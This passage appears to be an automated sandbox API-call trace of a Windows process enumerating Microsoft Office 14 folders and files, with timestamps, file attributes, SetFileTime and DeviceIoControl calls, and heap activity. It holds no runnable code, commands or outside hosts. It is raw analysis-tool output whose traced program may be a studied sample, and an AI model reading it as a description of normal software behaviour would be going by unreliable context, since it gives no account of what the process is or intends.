ftLastWriteTime.dwHighDateTime=0x1c6a62f, nFileSizeHigh=0x0, nFileSizeLow=0x2d34, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN086.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe893cd00, ftCreationTime.dwHighDateTime=0x1ca0904, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe893cd00, ftLastWriteTime.dwHighDateTime=0x1ca0904, nFileSizeHigh=0x0, nFileSizeLow=0x11a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN089.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fc44d00, ftCreationTime.dwHighDateTime=0x1c6b4fb, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fc44d00, ftLastWriteTime.dwHighDateTime=0x1c6b4fb, nFileSizeHigh=0x0, nFileSizeLow=0xa246, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN090.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d7f300, ftCreationTime.dwHighDateTime=0x1c67971, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63d7f300, ftLastWriteTime.dwHighDateTime=0x1c67971, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN092.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5677c900, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5677c900, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x7aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN095.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6daa00, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6daa00, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN096.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7ad200, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf7ad200, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0x11424, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN097.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9d600, ftCreationTime.dwHighDateTime=0x1c6c5a1, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96f9d600, ftLastWriteTime.dwHighDateTime=0x1c6c5a1, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN102.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55662300, ftCreationTime.dwHighDateTime=0x1ca0f14, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55662300, ftLastWriteTime.dwHighDateTime=0x1ca0f14, nFileSizeHigh=0x0, nFileSizeLow=0xde0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN103.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffeb200, ftCreationTime.dwHighDateTime=0x1c9fa22, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ffeb200, ftLastWriteTime.dwHighDateTime=0x1c9fa22, nFileSizeHigh=0x0, nFileSizeLow=0xff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN105.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b6fc00, ftCreationTime.dwHighDateTime=0x1c9fa26, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7b6fc00, ftLastWriteTime.dwHighDateTime=0x1c9fa26, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN107.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e92800, ftCreationTime.dwHighDateTime=0x1c9f4a1, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82e92800, ftLastWriteTime.dwHighDateTime=0x1c9f4a1, nFileSizeHigh=0x0, nFileSizeLow=0x34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN108.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908ec600, ftCreationTime.dwHighDateTime=0x1ca14c1, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x908ec600, ftLastWriteTime.dwHighDateTime=0x1ca14c1, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN109.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf7900, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf7900, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xcae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN110.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6900a600, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6900a600, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x45792, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN111.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d3aa00, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89d3aa00, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x878c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PG_INDEX.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d3aa00, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89d3aa00, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x878c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PG_INDEX.XML", cAlternateFileName="")) returned 0 [0079.506] GetLastError () returned 0x12 [0079.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.506] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.507] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0079.507] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd09c6440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xecd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.DLL", cAlternateFileName="")) returned 1 [0079.507] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd84cf560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PEOPLEDATAHANDLER.DLL", cAlternateFileName="")) returned 1 [0079.507] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2e960, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJCALEND.DLL", cAlternateFileName="")) returned 1 [0079.507] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4186400, ftCreationTime.dwHighDateTime=0x1cabf1b, ftLastAccessTime.dwLowDateTime=0x5a5a21d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4186400, ftLastWriteTime.dwHighDateTime=0x1cabf1b, nFileSizeHigh=0x0, nFileSizeLow=0x210368, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.EXE", cAlternateFileName="")) returned 1 [0079.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" (normalized: "c:\\program files\\microsoft office\\office14\\proof"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" (normalized: "c:\\program files\\microsoft office\\office14\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.507] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.508] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.508] NtClose (Handle=0x174) returned 0x0 [0079.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.508] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0079.511] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.511] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.511] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0079.511] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0079.511] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0079.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca980 [0079.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbc20 [0079.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.512] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade5d100, ftCreationTime.dwHighDateTime=0x1c04525, ftLastAccessTime.dwLowDateTime=0x59b6e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xade5d100, ftLastWriteTime.dwHighDateTime=0x1c04525, nFileSizeHigh=0x0, nFileSizeLow=0x4112e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.LEX", cAlternateFileName="")) returned 1 [0079.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca9a0 [0079.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbca8 [0079.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.513] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373ef00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xa459d340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x373ef00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x19, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.LEX", cAlternateFileName="")) returned 1 [0079.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca9c0 [0079.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbd30 [0079.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.514] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4343d200, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa206bb80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4343d200, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x36988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7EN.DLL", cAlternateFileName="")) returned 1 [0079.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.514] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14732f00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2091ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x14732f00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x74200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7EN.LEX", cAlternateFileName="")) returned 1 [0079.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca9e0 [0079.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbdb8 [0079.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.515] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccd3a00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6e3aaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4ccd3a00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x36988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7ES.DLL", cAlternateFileName="")) returned 1 [0079.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.516] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16d58900, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6e3aaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x16d58900, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7ES.LEX", cAlternateFileName="")) returned 1 [0079.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caa00 [0079.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbe40 [0079.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.517] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa45c34a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x36988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7FR.DLL", cAlternateFileName="")) returned 1 [0079.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.517] RtlFreeHeap 